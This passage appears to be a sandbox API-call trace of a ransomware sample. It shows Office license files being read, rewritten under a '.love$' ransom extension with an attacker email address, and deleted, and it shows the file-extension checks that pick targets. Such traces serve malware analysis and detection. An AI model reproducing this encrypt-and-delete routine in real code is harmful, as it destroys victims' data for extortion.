Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0267.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0267.030] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.030] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0267.407] GetLastError () returned 0x0 [0267.407] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0267.410] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0267.412] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.413] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x112, lpOverlapped=0x0) returned 1 [0267.413] SetEndOfFile (hFile=0x4b0) returned 1 [0267.413] CloseHandle (hObject=0x4b0) returned 1 [0267.413] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.413] SetEndOfFile (hFile=0x560) returned 1 [0267.419] CloseHandle (hObject=0x560) returned 1 [0267.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1 [0267.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.421] lstrlenW (lpString=".doc") returned 4 [0267.422] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.422] lstrlenW (lpString=".docx") returned 5 [0267.422] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.422] lstrlenW (lpString=".pdf") returned 4 [0267.422] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.422] lstrlenW (lpString=".xls") returned 4 [0267.422] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.422] lstrlenW (lpString=".xlsx") returned 5 [0267.422] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.422] lstrlenW (lpString=".ppt") returned 4 [0267.422] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.422] lstrlenW (lpString=".zip") returned 4 [0267.422] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.422] lstrlenW (lpString=".rar") returned 4 [0267.422] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.422] lstrlenW (lpString=".bz2") returned 4 [0267.422] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.422] lstrlenW (lpString=".7z") returned 3 [0267.422] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.422] lstrlenW (lpString=".dbf") returned 4 [0267.423] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.423] lstrlenW (lpString=".1cd") returned 4 [0267.423] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.423] lstrlenW (lpString=".jpg") returned 4 [0267.423] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.423] lstrlenW (lpString=".doc") returned 4 [0267.423] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.423] lstrlenW (lpString=".docx") returned 5 [0267.423] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.423] lstrlenW (lpString=".pdf") returned 4 [0267.423] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.423] lstrlenW (lpString=".xls") returned 4 [0267.423] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.423] lstrlenW (lpString=".xlsx") returned 5 [0267.423] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.423] lstrlenW (lpString=".ppt") returned 4 [0267.423] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.424] lstrlenW (lpString=".zip") returned 4 [0267.424] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.424] lstrlenW (lpString=".rar") returned 4 [0267.424] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.424] lstrlenW (lpString=".bz2") returned 4 [0267.424] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.424] lstrlenW (lpString=".7z") returned 3 [0267.424] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.424] lstrlenW (lpString=".dbf") returned 4 [0267.424] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.424] lstrlenW (lpString=".1cd") returned 4 [0267.424] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0267.425] lstrlenW (lpString=".jpg") returned 4 [0267.425] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.425] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.425] lstrlenW (lpString="MondoR_KMS_Automation-ul-oob.xrm-ms") returned 35 [0267.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0267.427] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11621) returned 1 [0267.427] CloseHandle (hObject=0x560) returned 1 [0267.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220 [0267.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0267.428] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.428] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0267.430] GetLastError () returned 0x0 [0267.430] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0267.433] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0267.435] ReadFile (in: hFile=0x560, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0267.435] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11a, lpOverlapped=0x0) returned 1 [0267.435] SetEndOfFile (hFile=0x4b0) returned 1 [0267.436] CloseHandle (hObject=0x4b0) returned 1 [0267.436] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.436] SetEndOfFile (hFile=0x560) returned 1 [0267.440] CloseHandle (hObject=0x560) returned 1 [0267.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1 [0267.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.443] lstrlenW (lpString=".doc") returned 4 [0267.443] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.443] lstrlenW (lpString=".docx") returned 5 [0267.443] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.443] lstrlenW (lpString=".pdf") returned 4 [0267.443] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.443] lstrlenW (lpString=".xls") returned 4 [0267.443] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.443] lstrlenW (lpString=".xlsx") returned 5 [0267.443] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.443] lstrlenW (lpString=".ppt") returned 4 [0267.443] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.443] lstrlenW (lpString=".zip") returned 4 [0267.443] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.443] lstrlenW (lpString=".rar") returned 4 [0267.443] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.443] lstrlenW (lpString=".bz2") returned 4 [0267.444] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.444] lstrlenW (lpString=".7z") returned 3 [0267.444] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.444] lstrlenW (lpString=".dbf") returned 4 [0267.444] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.444] lstrlenW (lpString=".1cd") returned 4 [0267.444] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.444] lstrlenW (lpString=".jpg") returned 4 [0267.444] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.444] lstrlenW (lpString=".doc") returned 4 [0267.444] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.444] lstrlenW (lpString=".docx") returned 5 [0267.444] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.444] lstrlenW (lpString=".pdf") returned 4 [0267.444] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.444] lstrlenW (lpString=".xls") returned 4 [0267.444] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.445] lstrlenW (lpString=".xlsx") returned 5 [0267.445] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.445] lstrlenW (lpString=".ppt") returned 4 [0267.445] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.618] lstrlenW (lpString=".zip") returned 4 [0267.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.618] lstrlenW (lpString=".rar") returned 4 [0267.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.618] lstrlenW (lpString=".bz2") returned 4 [0267.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.618] lstrlenW (lpString=".7z") returned 3 [0267.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.619] lstrlenW (lpString=".dbf") returned 4 [0267.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.619] lstrlenW (lpString=".1cd") returned 4 [0267.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0267.619] lstrlenW (lpString=".jpg") returned 4 [0267.619] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.619] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.619] lstrlenW (lpString="MondoR_OEM_Perp-pl.xrm-ms") returned 25 [0267.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0268.931] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=10635) returned 1 [0268.931] CloseHandle (hObject=0x550) returned 1 [0268.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220 [0269.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0269.759] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.759] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0269.761] GetLastError () returned 0x0 [0269.761] ReadFile (in: hFile=0x57c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x298b, lpOverlapped=0x0) returned 1 [0269.764] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2990, lpOverlapped=0x0) returned 1 [0269.766] ReadFile (in: hFile=0x57c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.766] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x106, lpOverlapped=0x0) returned 1 [0269.766] SetEndOfFile (hFile=0x4ac) returned 1 [0269.767] CloseHandle (hObject=0x4ac) returned 1 [0269.767] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.767] SetEndOfFile (hFile=0x57c) returned 1 [0269.771] CloseHandle (hObject=0x57c) returned 1 [0269.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1 [0269.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.775] lstrlenW (lpString=".doc") returned 4 [0269.775] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0269.775] lstrlenW (lpString=".docx") returned 5 [0269.775] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0269.775] lstrlenW (lpString=".pdf") returned 4 [0269.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString=".xls") returned 4 [0269.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString=".xlsx") returned 5 [0269.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0269.776] lstrlenW (lpString=".ppt") returned 4 [0269.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.776] lstrlenW (lpString=".zip") returned 4 [0269.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString=".rar") returned 4 [0269.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString=".bz2") returned 4 [0269.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString=".7z") returned 3 [0269.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.776] lstrlenW (lpString=".dbf") returned 4 [0269.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.776] lstrlenW (lpString=".1cd") returned 4 [0269.776] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.776] lstrlenW (lpString=".jpg") returned 4 [0269.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0269.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.777] lstrlenW (lpString=".doc") returned 4 [0269.777] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0269.777] lstrlenW (lpString=".docx") returned 5 [0269.777] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0269.777] lstrlenW (lpString=".pdf") returned 4 [0269.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0269.777] lstrlenW (lpString=".xls") returned 4 [0269.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0269.777] lstrlenW (lpString=".xlsx") returned 5 [0269.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0269.777] lstrlenW (lpString=".ppt") returned 4 [0269.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0269.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.777] lstrlenW (lpString=".zip") returned 4 [0269.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0269.777] lstrlenW (lpString=".rar") returned 4 [0269.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0269.778] lstrlenW (lpString=".bz2") returned 4 [0269.778] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0269.778] lstrlenW (lpString=".7z") returned 3 [0269.778] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0269.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.778] lstrlenW (lpString=".dbf") returned 4 [0269.778] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0269.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.778] lstrlenW (lpString=".1cd") returned 4 [0269.778] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0269.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0269.778] lstrlenW (lpString=".jpg") returned 4 [0269.778] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0269.778] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0269.778] lstrlenW (lpString="MondoR_OEM_Perp-ul-oob.xrm-ms") returned 29 [0269.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 